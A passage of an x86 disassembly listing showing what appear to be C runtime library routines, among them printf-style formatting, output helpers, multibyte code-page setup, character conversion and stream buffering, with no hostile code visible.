XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi call near ptr 28D0000h nop cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 jmp near ptr 26608CAh ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28D06C6h ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 call near ptr 28D0000h nop cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: 